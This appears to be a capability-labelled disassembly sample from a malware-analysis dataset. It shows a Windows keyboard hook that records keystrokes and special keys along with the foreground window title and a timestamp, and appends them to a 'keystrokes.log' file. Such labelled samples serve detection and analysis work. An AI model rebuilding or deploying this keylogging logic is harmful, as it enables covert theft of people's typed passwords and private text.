Function at 0x4014e2
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x384
cmp dword [ebp + 8], 0
jne 0x401b77
cmp dword [ebp + 0xc], 0x104
je 0x40150c
cmp dword [ebp + 0xc], 0x100
jne 0x401b77
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x364], 0
lea edx, [ebp - 0x360]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x264], 0
lea edx, [ebp - 0x260]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
cmp eax, 0xa0
je 0x40157b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
cmp eax, 0xa1
jne 0x40159d
mov byte [0x408020], 1
mov dword [esp + 4], str._SHIFT_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._GetKeyboardState_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
lea ecx, [ebp - 0x34]
mov dword [esp + 0xc], ecx
lea ecx, [ebp - 0x264]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ToUnicodeEx_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x40166d
movzx eax, word [ebp - 0x34]
cmp ax, 0x1f
jbe 0x40166d
movzx eax, word [ebp - 0x34]
cmp ax, 0x7e
ja 0x40166d
movzx eax, byte [0x408020]
test al, al
je 0x401647
movzx eax, word [ebp - 0x34]
movzx eax, ax
mov dword [esp], eax
call sym._toupper
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40604c
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
movzx eax, word [ebp - 0x34]
movzx eax, ax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40604c
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
sub eax, 8
cmp eax, 0x9d
ja case.0x401687.10
mov eax, dword [eax*4 + 0x4061c4]
jmp eax
mov dword [esp + 4], str._BACKSPACE_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._TAB_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._ENTER_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
and eax, 0x80
test eax, eax
je 0x401a69
mov byte [0x408020], 0
mov dword [esp + 4], str._SHIFT_RELEASE_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a69
mov dword [esp + 4], str._CTRL_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._LEFT_CTRL_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._RIGHT_CTRL_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._ALT_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._LEFT_ALT_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._RIGHT_ALT_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._CAPS_LOCK_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._NUM_LOCK_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._SCROLL_LOCK_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._HOME_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._END_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._PAGE_UP_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._PAGE_DOWN_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._INSERT_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._DELETE_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._LEFT_ARROW_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._RIGHT_ARROW_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._UP_ARROW_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._DOWN_ARROW_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F1_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F2_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F3_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F4_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F5_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F6_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F7_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F8_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F9_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F10_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F11_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov dword [esp + 4], str._F12_
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._UNKNOWN_KEY_0x_x
lea eax, [ebp - 0x364]
mov dword [esp], eax
call sym._sprintf
jmp 0x401a6a
nop
mov dword [ebp - 0x164], 0
lea edx, [ebp - 0x160]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
call sym._GetForegroundWindow_0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401ab6
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x164]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._GetWindowTextA_12
sub esp, 0xc
mov dword [esp], 0
call sym._time
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._localtime
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._Y__m__d__H:_M:_S
mov dword [esp + 4], 0x14
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._strftime
mov dword [esp + 4], 0x4061a6
mov dword [esp], str.keystrokes.log
call sym._fopen
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401cfa
lea eax, [ebp - 0x364]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x164]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___s_:__s_n
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
jmp 0x401cfa
cmp dword [ebp + 8], 0
jne 0x401cfb
cmp dword [ebp + 0xc], 0x105
je 0x401b97
cmp dword [ebp + 0xc], 0x101
jne 0x401cfb
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp eax, 0xa0
je 0x401bb9
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp eax, 0xa1
jne 0x401cfb
mov byte [0x408020], 0
mov dword [ebp - 0x264], 0
lea edx, [ebp - 0x260]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], str._SHIFT_RELEASE_
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x164], 0
lea edx, [ebp - 0x160]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
call sym._GetForegroundWindow_0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401c40
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x164]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._GetWindowTextA_12
sub esp, 0xc
mov dword [esp], 0
call sym._time
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sym._localtime
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._Y__m__d__H:_M:_S
mov dword [esp + 4], 0x14
lea eax, [ebp - 0x64]
mov dword [esp], eax
call sym._strftime
mov dword [esp + 4], 0x4061a6
mov dword [esp], str.keystrokes.log
call sym._fopen
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x401cfb
lea eax, [ebp - 0x264]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x164]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x64]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___s_:__s_n
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._fclose
jmp 0x401cfb
nop
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CallNextHookEx_16
sub esp, 0x10
mov edi, dword [ebp - 4]
leave
ret 0xc